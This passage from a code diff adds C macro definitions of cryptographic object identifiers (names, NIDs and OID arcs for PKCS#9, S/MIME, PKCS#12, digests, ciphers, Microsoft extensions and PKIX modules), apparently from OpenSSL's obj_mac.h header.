"pkcs9" +#define NID_pkcs9 47 +#define OBJ_pkcs9 OBJ_pkcs,9L + +#define LN_pkcs9_emailAddress "emailAddress" +#define NID_pkcs9_emailAddress 48 +#define OBJ_pkcs9_emailAddress OBJ_pkcs9,1L + +#define LN_pkcs9_unstructuredName "unstructuredName" +#define NID_pkcs9_unstructuredName 49 +#define OBJ_pkcs9_unstructuredName OBJ_pkcs9,2L + +#define LN_pkcs9_contentType "contentType" +#define NID_pkcs9_contentType 50 +#define OBJ_pkcs9_contentType OBJ_pkcs9,3L + +#define LN_pkcs9_messageDigest "messageDigest" +#define NID_pkcs9_messageDigest 51 +#define OBJ_pkcs9_messageDigest OBJ_pkcs9,4L + +#define LN_pkcs9_signingTime "signingTime" +#define NID_pkcs9_signingTime 52 +#define OBJ_pkcs9_signingTime OBJ_pkcs9,5L + +#define LN_pkcs9_countersignature "countersignature" +#define NID_pkcs9_countersignature 53 +#define OBJ_pkcs9_countersignature OBJ_pkcs9,6L + +#define LN_pkcs9_challengePassword "challengePassword" +#define NID_pkcs9_challengePassword 54 +#define OBJ_pkcs9_challengePassword OBJ_pkcs9,7L + +#define LN_pkcs9_unstructuredAddress "unstructuredAddress" +#define NID_pkcs9_unstructuredAddress 55 +#define OBJ_pkcs9_unstructuredAddress OBJ_pkcs9,8L + +#define LN_pkcs9_extCertAttributes "extendedCertificateAttributes" +#define NID_pkcs9_extCertAttributes 56 +#define OBJ_pkcs9_extCertAttributes OBJ_pkcs9,9L + +#define SN_ext_req "extReq" +#define LN_ext_req "Extension Request" +#define NID_ext_req 172 +#define OBJ_ext_req OBJ_pkcs9,14L + +#define SN_SMIMECapabilities "SMIME-CAPS" +#define LN_SMIMECapabilities "S/MIME Capabilities" +#define NID_SMIMECapabilities 167 +#define OBJ_SMIMECapabilities OBJ_pkcs9,15L + +#define SN_SMIME "SMIME" +#define LN_SMIME "S/MIME" +#define NID_SMIME 188 +#define OBJ_SMIME OBJ_pkcs9,16L + +#define SN_id_smime_mod "id-smime-mod" +#define NID_id_smime_mod 189 +#define OBJ_id_smime_mod OBJ_SMIME,0L + +#define SN_id_smime_ct "id-smime-ct" +#define NID_id_smime_ct 190 +#define OBJ_id_smime_ct OBJ_SMIME,1L + +#define SN_id_smime_aa "id-smime-aa" +#define NID_id_smime_aa 191 +#define OBJ_id_smime_aa OBJ_SMIME,2L + +#define SN_id_smime_alg "id-smime-alg" +#define NID_id_smime_alg 192 +#define OBJ_id_smime_alg OBJ_SMIME,3L + +#define SN_id_smime_cd "id-smime-cd" +#define NID_id_smime_cd 193 +#define OBJ_id_smime_cd OBJ_SMIME,4L + +#define SN_id_smime_spq "id-smime-spq" +#define NID_id_smime_spq 194 +#define OBJ_id_smime_spq OBJ_SMIME,5L + +#define SN_id_smime_cti "id-smime-cti" +#define NID_id_smime_cti 195 +#define OBJ_id_smime_cti OBJ_SMIME,6L + +#define SN_id_smime_mod_cms "id-smime-mod-cms" +#define NID_id_smime_mod_cms 196 +#define OBJ_id_smime_mod_cms OBJ_id_smime_mod,1L + +#define SN_id_smime_mod_ess "id-smime-mod-ess" +#define NID_id_smime_mod_ess 197 +#define OBJ_id_smime_mod_ess OBJ_id_smime_mod,2L + +#define SN_id_smime_mod_oid "id-smime-mod-oid" +#define NID_id_smime_mod_oid 198 +#define OBJ_id_smime_mod_oid OBJ_id_smime_mod,3L + +#define SN_id_smime_mod_msg_v3 "id-smime-mod-msg-v3" +#define NID_id_smime_mod_msg_v3 199 +#define OBJ_id_smime_mod_msg_v3 OBJ_id_smime_mod,4L + +#define SN_id_smime_mod_ets_eSignature_88 "id-smime-mod-ets-eSignature-88" +#define NID_id_smime_mod_ets_eSignature_88 200 +#define OBJ_id_smime_mod_ets_eSignature_88 OBJ_id_smime_mod,5L + +#define SN_id_smime_mod_ets_eSignature_97 "id-smime-mod-ets-eSignature-97" +#define NID_id_smime_mod_ets_eSignature_97 201 +#define OBJ_id_smime_mod_ets_eSignature_97 OBJ_id_smime_mod,6L + +#define SN_id_smime_mod_ets_eSigPolicy_88 "id-smime-mod-ets-eSigPolicy-88" +#define NID_id_smime_mod_ets_eSigPolicy_88 202 +#define OBJ_id_smime_mod_ets_eSigPolicy_88 OBJ_id_smime_mod,7L + +#define SN_id_smime_mod_ets_eSigPolicy_97 "id-smime-mod-ets-eSigPolicy-97" +#define NID_id_smime_mod_ets_eSigPolicy_97 203 +#define OBJ_id_smime_mod_ets_eSigPolicy_97 OBJ_id_smime_mod,8L + +#define SN_id_smime_ct_receipt "id-smime-ct-receipt" +#define NID_id_smime_ct_receipt 204 +#define OBJ_id_smime_ct_receipt OBJ_id_smime_ct,1L + +#define SN_id_smime_ct_authData "id-smime-ct-authData" +#define NID_id_smime_ct_authData 205 +#define OBJ_id_smime_ct_authData OBJ_id_smime_ct,2L + +#define SN_id_smime_ct_publishCert "id-smime-ct-publishCert" +#define NID_id_smime_ct_publishCert 206 +#define OBJ_id_smime_ct_publishCert OBJ_id_smime_ct,3L + +#define SN_id_smime_ct_TSTInfo "id-smime-ct-TSTInfo" +#define NID_id_smime_ct_TSTInfo 207 +#define OBJ_id_smime_ct_TSTInfo OBJ_id_smime_ct,4L + +#define SN_id_smime_ct_TDTInfo "id-smime-ct-TDTInfo" +#define NID_id_smime_ct_TDTInfo 208 +#define OBJ_id_smime_ct_TDTInfo OBJ_id_smime_ct,5L + +#define SN_id_smime_ct_contentInfo "id-smime-ct-contentInfo" +#define NID_id_smime_ct_contentInfo 209 +#define OBJ_id_smime_ct_contentInfo OBJ_id_smime_ct,6L + +#define SN_id_smime_ct_DVCSRequestData "id-smime-ct-DVCSRequestData" +#define NID_id_smime_ct_DVCSRequestData 210 +#define OBJ_id_smime_ct_DVCSRequestData OBJ_id_smime_ct,7L + +#define SN_id_smime_ct_DVCSResponseData "id-smime-ct-DVCSResponseData" +#define NID_id_smime_ct_DVCSResponseData 211 +#define OBJ_id_smime_ct_DVCSResponseData OBJ_id_smime_ct,8L + +#define SN_id_smime_ct_compressedData "id-smime-ct-compressedData" +#define NID_id_smime_ct_compressedData 786 +#define OBJ_id_smime_ct_compressedData OBJ_id_smime_ct,9L + +#define SN_id_ct_asciiTextWithCRLF "id-ct-asciiTextWithCRLF" +#define NID_id_ct_asciiTextWithCRLF 787 +#define OBJ_id_ct_asciiTextWithCRLF OBJ_id_smime_ct,27L + +#define SN_id_smime_aa_receiptRequest "id-smime-aa-receiptRequest" +#define NID_id_smime_aa_receiptRequest 212 +#define OBJ_id_smime_aa_receiptRequest OBJ_id_smime_aa,1L + +#define SN_id_smime_aa_securityLabel "id-smime-aa-securityLabel" +#define NID_id_smime_aa_securityLabel 213 +#define OBJ_id_smime_aa_securityLabel OBJ_id_smime_aa,2L + +#define SN_id_smime_aa_mlExpandHistory "id-smime-aa-mlExpandHistory" +#define NID_id_smime_aa_mlExpandHistory 214 +#define OBJ_id_smime_aa_mlExpandHistory OBJ_id_smime_aa,3L + +#define SN_id_smime_aa_contentHint "id-smime-aa-contentHint" +#define NID_id_smime_aa_contentHint 215 +#define OBJ_id_smime_aa_contentHint OBJ_id_smime_aa,4L + +#define SN_id_smime_aa_msgSigDigest "id-smime-aa-msgSigDigest" +#define NID_id_smime_aa_msgSigDigest 216 +#define OBJ_id_smime_aa_msgSigDigest OBJ_id_smime_aa,5L + +#define SN_id_smime_aa_encapContentType "id-smime-aa-encapContentType" +#define NID_id_smime_aa_encapContentType 217 +#define OBJ_id_smime_aa_encapContentType OBJ_id_smime_aa,6L + +#define SN_id_smime_aa_contentIdentifier "id-smime-aa-contentIdentifier" +#define NID_id_smime_aa_contentIdentifier 218 +#define OBJ_id_smime_aa_contentIdentifier OBJ_id_smime_aa,7L + +#define SN_id_smime_aa_macValue "id-smime-aa-macValue" +#define NID_id_smime_aa_macValue 219 +#define OBJ_id_smime_aa_macValue OBJ_id_smime_aa,8L + +#define SN_id_smime_aa_equivalentLabels "id-smime-aa-equivalentLabels" +#define NID_id_smime_aa_equivalentLabels 220 +#define OBJ_id_smime_aa_equivalentLabels OBJ_id_smime_aa,9L + +#define SN_id_smime_aa_contentReference "id-smime-aa-contentReference" +#define NID_id_smime_aa_contentReference 221 +#define OBJ_id_smime_aa_contentReference OBJ_id_smime_aa,10L + +#define SN_id_smime_aa_encrypKeyPref "id-smime-aa-encrypKeyPref" +#define NID_id_smime_aa_encrypKeyPref 222 +#define OBJ_id_smime_aa_encrypKeyPref OBJ_id_smime_aa,11L + +#define SN_id_smime_aa_signingCertificate "id-smime-aa-signingCertificate" +#define NID_id_smime_aa_signingCertificate 223 +#define OBJ_id_smime_aa_signingCertificate OBJ_id_smime_aa,12L + +#define SN_id_smime_aa_smimeEncryptCerts "id-smime-aa-smimeEncryptCerts" +#define NID_id_smime_aa_smimeEncryptCerts 224 +#define OBJ_id_smime_aa_smimeEncryptCerts OBJ_id_smime_aa,13L + +#define SN_id_smime_aa_timeStampToken "id-smime-aa-timeStampToken" +#define NID_id_smime_aa_timeStampToken 225 +#define OBJ_id_smime_aa_timeStampToken OBJ_id_smime_aa,14L + +#define SN_id_smime_aa_ets_sigPolicyId "id-smime-aa-ets-sigPolicyId" +#define NID_id_smime_aa_ets_sigPolicyId 226 +#define OBJ_id_smime_aa_ets_sigPolicyId OBJ_id_smime_aa,15L + +#define SN_id_smime_aa_ets_commitmentType "id-smime-aa-ets-commitmentType" +#define NID_id_smime_aa_ets_commitmentType 227 +#define OBJ_id_smime_aa_ets_commitmentType OBJ_id_smime_aa,16L + +#define SN_id_smime_aa_ets_signerLocation "id-smime-aa-ets-signerLocation" +#define NID_id_smime_aa_ets_signerLocation 228 +#define OBJ_id_smime_aa_ets_signerLocation OBJ_id_smime_aa,17L + +#define SN_id_smime_aa_ets_signerAttr "id-smime-aa-ets-signerAttr" +#define NID_id_smime_aa_ets_signerAttr 229 +#define OBJ_id_smime_aa_ets_signerAttr OBJ_id_smime_aa,18L + +#define SN_id_smime_aa_ets_otherSigCert "id-smime-aa-ets-otherSigCert" +#define NID_id_smime_aa_ets_otherSigCert 230 +#define OBJ_id_smime_aa_ets_otherSigCert OBJ_id_smime_aa,19L + +#define SN_id_smime_aa_ets_contentTimestamp "id-smime-aa-ets-contentTimestamp" +#define NID_id_smime_aa_ets_contentTimestamp 231 +#define OBJ_id_smime_aa_ets_contentTimestamp OBJ_id_smime_aa,20L + +#define SN_id_smime_aa_ets_CertificateRefs "id-smime-aa-ets-CertificateRefs" +#define NID_id_smime_aa_ets_CertificateRefs 232 +#define OBJ_id_smime_aa_ets_CertificateRefs OBJ_id_smime_aa,21L + +#define SN_id_smime_aa_ets_RevocationRefs "id-smime-aa-ets-RevocationRefs" +#define NID_id_smime_aa_ets_RevocationRefs 233 +#define OBJ_id_smime_aa_ets_RevocationRefs OBJ_id_smime_aa,22L + +#define SN_id_smime_aa_ets_certValues "id-smime-aa-ets-certValues" +#define NID_id_smime_aa_ets_certValues 234 +#define OBJ_id_smime_aa_ets_certValues OBJ_id_smime_aa,23L + +#define SN_id_smime_aa_ets_revocationValues "id-smime-aa-ets-revocationValues" +#define NID_id_smime_aa_ets_revocationValues 235 +#define OBJ_id_smime_aa_ets_revocationValues OBJ_id_smime_aa,24L + +#define SN_id_smime_aa_ets_escTimeStamp "id-smime-aa-ets-escTimeStamp" +#define NID_id_smime_aa_ets_escTimeStamp 236 +#define OBJ_id_smime_aa_ets_escTimeStamp OBJ_id_smime_aa,25L + +#define SN_id_smime_aa_ets_certCRLTimestamp "id-smime-aa-ets-certCRLTimestamp" +#define NID_id_smime_aa_ets_certCRLTimestamp 237 +#define OBJ_id_smime_aa_ets_certCRLTimestamp OBJ_id_smime_aa,26L + +#define SN_id_smime_aa_ets_archiveTimeStamp "id-smime-aa-ets-archiveTimeStamp" +#define NID_id_smime_aa_ets_archiveTimeStamp 238 +#define OBJ_id_smime_aa_ets_archiveTimeStamp OBJ_id_smime_aa,27L + +#define SN_id_smime_aa_signatureType "id-smime-aa-signatureType" +#define NID_id_smime_aa_signatureType 239 +#define OBJ_id_smime_aa_signatureType OBJ_id_smime_aa,28L + +#define SN_id_smime_aa_dvcs_dvc "id-smime-aa-dvcs-dvc" +#define NID_id_smime_aa_dvcs_dvc 240 +#define OBJ_id_smime_aa_dvcs_dvc OBJ_id_smime_aa,29L + +#define SN_id_smime_alg_ESDHwith3DES "id-smime-alg-ESDHwith3DES" +#define NID_id_smime_alg_ESDHwith3DES 241 +#define OBJ_id_smime_alg_ESDHwith3DES OBJ_id_smime_alg,1L + +#define SN_id_smime_alg_ESDHwithRC2 "id-smime-alg-ESDHwithRC2" +#define NID_id_smime_alg_ESDHwithRC2 242 +#define OBJ_id_smime_alg_ESDHwithRC2 OBJ_id_smime_alg,2L + +#define SN_id_smime_alg_3DESwrap "id-smime-alg-3DESwrap" +#define NID_id_smime_alg_3DESwrap 243 +#define OBJ_id_smime_alg_3DESwrap OBJ_id_smime_alg,3L + +#define SN_id_smime_alg_RC2wrap "id-smime-alg-RC2wrap" +#define NID_id_smime_alg_RC2wrap 244 +#define OBJ_id_smime_alg_RC2wrap OBJ_id_smime_alg,4L + +#define SN_id_smime_alg_ESDH "id-smime-alg-ESDH" +#define NID_id_smime_alg_ESDH 245 +#define OBJ_id_smime_alg_ESDH OBJ_id_smime_alg,5L + +#define SN_id_smime_alg_CMS3DESwrap "id-smime-alg-CMS3DESwrap" +#define NID_id_smime_alg_CMS3DESwrap 246 +#define OBJ_id_smime_alg_CMS3DESwrap OBJ_id_smime_alg,6L + +#define SN_id_smime_alg_CMSRC2wrap "id-smime-alg-CMSRC2wrap" +#define NID_id_smime_alg_CMSRC2wrap 247 +#define OBJ_id_smime_alg_CMSRC2wrap OBJ_id_smime_alg,7L + +#define SN_id_smime_cd_ldap "id-smime-cd-ldap" +#define NID_id_smime_cd_ldap 248 +#define OBJ_id_smime_cd_ldap OBJ_id_smime_cd,1L + +#define SN_id_smime_spq_ets_sqt_uri "id-smime-spq-ets-sqt-uri" +#define NID_id_smime_spq_ets_sqt_uri 249 +#define OBJ_id_smime_spq_ets_sqt_uri OBJ_id_smime_spq,1L + +#define SN_id_smime_spq_ets_sqt_unotice "id-smime-spq-ets-sqt-unotice" +#define NID_id_smime_spq_ets_sqt_unotice 250 +#define OBJ_id_smime_spq_ets_sqt_unotice OBJ_id_smime_spq,2L + +#define SN_id_smime_cti_ets_proofOfOrigin "id-smime-cti-ets-proofOfOrigin" +#define NID_id_smime_cti_ets_proofOfOrigin 251 +#define OBJ_id_smime_cti_ets_proofOfOrigin OBJ_id_smime_cti,1L + +#define SN_id_smime_cti_ets_proofOfReceipt "id-smime-cti-ets-proofOfReceipt" +#define NID_id_smime_cti_ets_proofOfReceipt 252 +#define OBJ_id_smime_cti_ets_proofOfReceipt OBJ_id_smime_cti,2L + +#define SN_id_smime_cti_ets_proofOfDelivery "id-smime-cti-ets-proofOfDelivery" +#define NID_id_smime_cti_ets_proofOfDelivery 253 +#define OBJ_id_smime_cti_ets_proofOfDelivery OBJ_id_smime_cti,3L + +#define SN_id_smime_cti_ets_proofOfSender "id-smime-cti-ets-proofOfSender" +#define NID_id_smime_cti_ets_proofOfSender 254 +#define OBJ_id_smime_cti_ets_proofOfSender OBJ_id_smime_cti,4L + +#define SN_id_smime_cti_ets_proofOfApproval "id-smime-cti-ets-proofOfApproval" +#define NID_id_smime_cti_ets_proofOfApproval 255 +#define OBJ_id_smime_cti_ets_proofOfApproval OBJ_id_smime_cti,5L + +#define SN_id_smime_cti_ets_proofOfCreation "id-smime-cti-ets-proofOfCreation" +#define NID_id_smime_cti_ets_proofOfCreation 256 +#define OBJ_id_smime_cti_ets_proofOfCreation OBJ_id_smime_cti,6L + +#define LN_friendlyName "friendlyName" +#define NID_friendlyName 156 +#define OBJ_friendlyName OBJ_pkcs9,20L + +#define LN_localKeyID "localKeyID" +#define NID_localKeyID 157 +#define OBJ_localKeyID OBJ_pkcs9,21L + +#define SN_ms_csp_name "CSPName" +#define LN_ms_csp_name "Microsoft CSP Name" +#define NID_ms_csp_name 417 +#define OBJ_ms_csp_name 1L,3L,6L,1L,4L,1L,311L,17L,1L + +#define SN_LocalKeySet "LocalKeySet" +#define LN_LocalKeySet "Microsoft Local Key set" +#define NID_LocalKeySet 856 +#define OBJ_LocalKeySet 1L,3L,6L,1L,4L,1L,311L,17L,2L + +#define OBJ_certTypes OBJ_pkcs9,22L + +#define LN_x509Certificate "x509Certificate" +#define NID_x509Certificate 158 +#define OBJ_x509Certificate OBJ_certTypes,1L + +#define LN_sdsiCertificate "sdsiCertificate" +#define NID_sdsiCertificate 159 +#define OBJ_sdsiCertificate OBJ_certTypes,2L + +#define OBJ_crlTypes OBJ_pkcs9,23L + +#define LN_x509Crl "x509Crl" +#define NID_x509Crl 160 +#define OBJ_x509Crl OBJ_crlTypes,1L + +#define OBJ_pkcs12 OBJ_pkcs,12L + +#define OBJ_pkcs12_pbeids OBJ_pkcs12,1L + +#define SN_pbe_WithSHA1And128BitRC4 "PBE-SHA1-RC4-128" +#define LN_pbe_WithSHA1And128BitRC4 "pbeWithSHA1And128BitRC4" +#define NID_pbe_WithSHA1And128BitRC4 144 +#define OBJ_pbe_WithSHA1And128BitRC4 OBJ_pkcs12_pbeids,1L + +#define SN_pbe_WithSHA1And40BitRC4 "PBE-SHA1-RC4-40" +#define LN_pbe_WithSHA1And40BitRC4 "pbeWithSHA1And40BitRC4" +#define NID_pbe_WithSHA1And40BitRC4 145 +#define OBJ_pbe_WithSHA1And40BitRC4 OBJ_pkcs12_pbeids,2L + +#define SN_pbe_WithSHA1And3_Key_TripleDES_CBC "PBE-SHA1-3DES" +#define LN_pbe_WithSHA1And3_Key_TripleDES_CBC "pbeWithSHA1And3-KeyTripleDES-CBC" +#define NID_pbe_WithSHA1And3_Key_TripleDES_CBC 146 +#define OBJ_pbe_WithSHA1And3_Key_TripleDES_CBC OBJ_pkcs12_pbeids,3L + +#define SN_pbe_WithSHA1And2_Key_TripleDES_CBC "PBE-SHA1-2DES" +#define LN_pbe_WithSHA1And2_Key_TripleDES_CBC "pbeWithSHA1And2-KeyTripleDES-CBC" +#define NID_pbe_WithSHA1And2_Key_TripleDES_CBC 147 +#define OBJ_pbe_WithSHA1And2_Key_TripleDES_CBC OBJ_pkcs12_pbeids,4L + +#define SN_pbe_WithSHA1And128BitRC2_CBC "PBE-SHA1-RC2-128" +#define LN_pbe_WithSHA1And128BitRC2_CBC "pbeWithSHA1And128BitRC2-CBC" +#define NID_pbe_WithSHA1And128BitRC2_CBC 148 +#define OBJ_pbe_WithSHA1And128BitRC2_CBC OBJ_pkcs12_pbeids,5L + +#define SN_pbe_WithSHA1And40BitRC2_CBC "PBE-SHA1-RC2-40" +#define LN_pbe_WithSHA1And40BitRC2_CBC "pbeWithSHA1And40BitRC2-CBC" +#define NID_pbe_WithSHA1And40BitRC2_CBC 149 +#define OBJ_pbe_WithSHA1And40BitRC2_CBC OBJ_pkcs12_pbeids,6L + +#define OBJ_pkcs12_Version1 OBJ_pkcs12,10L + +#define OBJ_pkcs12_BagIds OBJ_pkcs12_Version1,1L + +#define LN_keyBag "keyBag" +#define NID_keyBag 150 +#define OBJ_keyBag OBJ_pkcs12_BagIds,1L + +#define LN_pkcs8ShroudedKeyBag "pkcs8ShroudedKeyBag" +#define NID_pkcs8ShroudedKeyBag 151 +#define OBJ_pkcs8ShroudedKeyBag OBJ_pkcs12_BagIds,2L + +#define LN_certBag "certBag" +#define NID_certBag 152 +#define OBJ_certBag OBJ_pkcs12_BagIds,3L + +#define LN_crlBag "crlBag" +#define NID_crlBag 153 +#define OBJ_crlBag OBJ_pkcs12_BagIds,4L + +#define LN_secretBag "secretBag" +#define NID_secretBag 154 +#define OBJ_secretBag OBJ_pkcs12_BagIds,5L + +#define LN_safeContentsBag "safeContentsBag" +#define NID_safeContentsBag 155 +#define OBJ_safeContentsBag OBJ_pkcs12_BagIds,6L + +#define SN_md2 "MD2" +#define LN_md2 "md2" +#define NID_md2 3 +#define OBJ_md2 OBJ_rsadsi,2L,2L + +#define SN_md4 "MD4" +#define LN_md4 "md4" +#define NID_md4 257 +#define OBJ_md4 OBJ_rsadsi,2L,4L + +#define SN_md5 "MD5" +#define LN_md5 "md5" +#define NID_md5 4 +#define OBJ_md5 OBJ_rsadsi,2L,5L + +#define SN_md5_sha1 "MD5-SHA1" +#define LN_md5_sha1 "md5-sha1" +#define NID_md5_sha1 114 + +#define LN_hmacWithMD5 "hmacWithMD5" +#define NID_hmacWithMD5 797 +#define OBJ_hmacWithMD5 OBJ_rsadsi,2L,6L + +#define LN_hmacWithSHA1 "hmacWithSHA1" +#define NID_hmacWithSHA1 163 +#define OBJ_hmacWithSHA1 OBJ_rsadsi,2L,7L + +#define LN_hmacWithSHA224 "hmacWithSHA224" +#define NID_hmacWithSHA224 798 +#define OBJ_hmacWithSHA224 OBJ_rsadsi,2L,8L + +#define LN_hmacWithSHA256 "hmacWithSHA256" +#define NID_hmacWithSHA256 799 +#define OBJ_hmacWithSHA256 OBJ_rsadsi,2L,9L + +#define LN_hmacWithSHA384 "hmacWithSHA384" +#define NID_hmacWithSHA384 800 +#define OBJ_hmacWithSHA384 OBJ_rsadsi,2L,10L + +#define LN_hmacWithSHA512 "hmacWithSHA512" +#define NID_hmacWithSHA512 801 +#define OBJ_hmacWithSHA512 OBJ_rsadsi,2L,11L + +#define SN_rc2_cbc "RC2-CBC" +#define LN_rc2_cbc "rc2-cbc" +#define NID_rc2_cbc 37 +#define OBJ_rc2_cbc OBJ_rsadsi,3L,2L + +#define SN_rc2_ecb "RC2-ECB" +#define LN_rc2_ecb "rc2-ecb" +#define NID_rc2_ecb 38 + +#define SN_rc2_cfb64 "RC2-CFB" +#define LN_rc2_cfb64 "rc2-cfb" +#define NID_rc2_cfb64 39 + +#define SN_rc2_ofb64 "RC2-OFB" +#define LN_rc2_ofb64 "rc2-ofb" +#define NID_rc2_ofb64 40 + +#define SN_rc2_40_cbc "RC2-40-CBC" +#define LN_rc2_40_cbc "rc2-40-cbc" +#define NID_rc2_40_cbc 98 + +#define SN_rc2_64_cbc "RC2-64-CBC" +#define LN_rc2_64_cbc "rc2-64-cbc" +#define NID_rc2_64_cbc 166 + +#define SN_rc4 "RC4" +#define LN_rc4 "rc4" +#define NID_rc4 5 +#define OBJ_rc4 OBJ_rsadsi,3L,4L + +#define SN_rc4_40 "RC4-40" +#define LN_rc4_40 "rc4-40" +#define NID_rc4_40 97 + +#define SN_des_ede3_cbc "DES-EDE3-CBC" +#define LN_des_ede3_cbc "des-ede3-cbc" +#define NID_des_ede3_cbc 44 +#define OBJ_des_ede3_cbc OBJ_rsadsi,3L,7L + +#define SN_rc5_cbc "RC5-CBC" +#define LN_rc5_cbc "rc5-cbc" +#define NID_rc5_cbc 120 +#define OBJ_rc5_cbc OBJ_rsadsi,3L,8L + +#define SN_rc5_ecb "RC5-ECB" +#define LN_rc5_ecb "rc5-ecb" +#define NID_rc5_ecb 121 + +#define SN_rc5_cfb64 "RC5-CFB" +#define LN_rc5_cfb64 "rc5-cfb" +#define NID_rc5_cfb64 122 + +#define SN_rc5_ofb64 "RC5-OFB" +#define LN_rc5_ofb64 "rc5-ofb" +#define NID_rc5_ofb64 123 + +#define SN_ms_ext_req "msExtReq" +#define LN_ms_ext_req "Microsoft Extension Request" +#define NID_ms_ext_req 171 +#define OBJ_ms_ext_req 1L,3L,6L,1L,4L,1L,311L,2L,1L,14L + +#define SN_ms_code_ind "msCodeInd" +#define LN_ms_code_ind "Microsoft Individual Code Signing" +#define NID_ms_code_ind 134 +#define OBJ_ms_code_ind 1L,3L,6L,1L,4L,1L,311L,2L,1L,21L + +#define SN_ms_code_com "msCodeCom" +#define LN_ms_code_com "Microsoft Commercial Code Signing" +#define NID_ms_code_com 135 +#define OBJ_ms_code_com 1L,3L,6L,1L,4L,1L,311L,2L,1L,22L + +#define SN_ms_ctl_sign "msCTLSign" +#define LN_ms_ctl_sign "Microsoft Trust List Signing" +#define NID_ms_ctl_sign 136 +#define OBJ_ms_ctl_sign 1L,3L,6L,1L,4L,1L,311L,10L,3L,1L + +#define SN_ms_sgc "msSGC" +#define LN_ms_sgc "Microsoft Server Gated Crypto" +#define NID_ms_sgc 137 +#define OBJ_ms_sgc 1L,3L,6L,1L,4L,1L,311L,10L,3L,3L + +#define SN_ms_efs "msEFS" +#define LN_ms_efs "Microsoft Encrypted File System" +#define NID_ms_efs 138 +#define OBJ_ms_efs 1L,3L,6L,1L,4L,1L,311L,10L,3L,4L + +#define SN_ms_smartcard_login "msSmartcardLogin" +#define LN_ms_smartcard_login "Microsoft Smartcardlogin" +#define NID_ms_smartcard_login 648 +#define OBJ_ms_smartcard_login 1L,3L,6L,1L,4L,1L,311L,20L,2L,2L + +#define SN_ms_upn "msUPN" +#define LN_ms_upn "Microsoft Universal Principal Name" +#define NID_ms_upn 649 +#define OBJ_ms_upn 1L,3L,6L,1L,4L,1L,311L,20L,2L,3L + +#define SN_idea_cbc "IDEA-CBC" +#define LN_idea_cbc "idea-cbc" +#define NID_idea_cbc 34 +#define OBJ_idea_cbc 1L,3L,6L,1L,4L,1L,188L,7L,1L,1L,2L + +#define SN_idea_ecb "IDEA-ECB" +#define LN_idea_ecb "idea-ecb" +#define NID_idea_ecb 36 + +#define SN_idea_cfb64 "IDEA-CFB" +#define LN_idea_cfb64 "idea-cfb" +#define NID_idea_cfb64 35 + +#define SN_idea_ofb64 "IDEA-OFB" +#define LN_idea_ofb64 "idea-ofb" +#define NID_idea_ofb64 46 + +#define SN_bf_cbc "BF-CBC" +#define LN_bf_cbc "bf-cbc" +#define NID_bf_cbc 91 +#define OBJ_bf_cbc 1L,3L,6L,1L,4L,1L,3029L,1L,2L + +#define SN_bf_ecb "BF-ECB" +#define LN_bf_ecb "bf-ecb" +#define NID_bf_ecb 92 + +#define SN_bf_cfb64 "BF-CFB" +#define LN_bf_cfb64 "bf-cfb" +#define NID_bf_cfb64 93 + +#define SN_bf_ofb64 "BF-OFB" +#define LN_bf_ofb64 "bf-ofb" +#define NID_bf_ofb64 94 + +#define SN_id_pkix "PKIX" +#define NID_id_pkix 127 +#define OBJ_id_pkix 1L,3L,6L,1L,5L,5L,7L + +#define SN_id_pkix_mod "id-pkix-mod" +#define NID_id_pkix_mod 258 +#define OBJ_id_pkix_mod OBJ_id_pkix,0L + +#define SN_id_pe "id-pe" +#define NID_id_pe 175 +#define OBJ_id_pe OBJ_id_pkix,1L + +#define SN_id_qt "id-qt" +#define NID_id_qt 259 +#define OBJ_id_qt OBJ_id_pkix,2L + +#define SN_id_kp "id-kp" +#define NID_id_kp 128 +#define OBJ_id_kp OBJ_id_pkix,3L + +#define SN_id_it "id-it" +#define NID_id_it 260 +#define OBJ_id_it OBJ_id_pkix,4L + +#define SN_id_pkip "id-pkip" +#define NID_id_pkip 261 +#define OBJ_id_pkip OBJ_id_pkix,5L + +#define SN_id_alg "id-alg" +#define NID_id_alg 262 +#define OBJ_id_alg OBJ_id_pkix,6L + +#define SN_id_cmc "id-cmc" +#define NID_id_cmc 263 +#define OBJ_id_cmc OBJ_id_pkix,7L + +#define SN_id_on "id-on" +#define NID_id_on 264 +#define OBJ_id_on OBJ_id_pkix,8L + +#define SN_id_pda "id-pda" +#define NID_id_pda 265 +#define OBJ_id_pda OBJ_id_pkix,9L + +#define SN_id_aca "id-aca" +#define NID_id_aca 266 +#define OBJ_id_aca OBJ_id_pkix,10L + +#define SN_id_qcs "id-qcs" +#define NID_id_qcs 267 +#define OBJ_id_qcs OBJ_id_pkix,11L + +#define SN_id_cct "id-cct" +#define NID_id_cct 268 +#define OBJ_id_cct OBJ_id_pkix,12L + +#define SN_id_ppl "id-ppl" +#define NID_id_ppl 662 +#define OBJ_id_ppl OBJ_id_pkix,21L + +#define SN_id_ad "id-ad" +#define NID_id_ad 176 +#define OBJ_id_ad OBJ_id_pkix,48L + +#define SN_id_pkix1_explicit_88 "id-pkix1-explicit-88" +#define NID_id_pkix1_explicit_88 269 +#define OBJ_id_pkix1_explicit_88 OBJ_id_pkix_mod,1L + +#define SN_id_pkix1_implicit_88 "id-pkix1-implicit-88" +#define NID_id_pkix1_implicit_88 270 +#define OBJ_id_pkix1_implicit_88 OBJ_id_pkix_mod,2L + +#define SN_id_pkix1_explicit_93 "id-pkix1-explicit-93" +#define NID_id_pkix1_explicit_93 271 +#define OBJ_id_pkix1_explicit_93 OBJ_id_pkix_mod,3L + +#define SN_id_pkix1_implicit_93 "id-pkix1-implicit-93" +#define NID_id_pkix1_implicit_93 272 +#define OBJ_id_pkix1_implicit_93 OBJ_id_pkix_mod,4L + +#define SN_id_mod_crmf "id-mod-crmf" +#define NID_id_mod_crmf 273 +#define OBJ_id_mod_crmf OBJ_id_pkix_mod,5L + +#define SN_id_mod_cmc "id-mod-cmc" +#define NID_id_mod_cmc 274 +#define OBJ_id_mod_cmc OBJ_id_pkix_mod,6L + +#define SN_id_mod_kea_profile_88 "id-mod-kea-profile-88" +#define NID_id_mod_kea_profile_88 275 +#define OBJ_id_mod_kea_profile_88 OBJ_id_pkix_mod,7L + +#define SN_id_mod_kea_profile_93 "id-mod-kea-profile-93" +#define NID_id_mod_kea_profile_93 276 +#define OBJ_id_mod_kea_profile_93 OBJ_id_pkix_mod,8L + +#define SN_id_mod_cmp "id-mod-cmp" +#define NID_id_mod_cmp 277 +#define OBJ_id_mod_cmp OBJ_id_pkix_mod,9L + +#define SN_id_mod_qualified_cert_88 "id-mod-qualified-cert-88" +#define NID_id_mod_qualified_cert_88 278 +#define OBJ_id_mod_qualified_cert_88 OBJ_id_pkix_mod,10L + +#define SN_id_mod_qualified_cert_93 "id-mod-qualified-cert-93" +#define 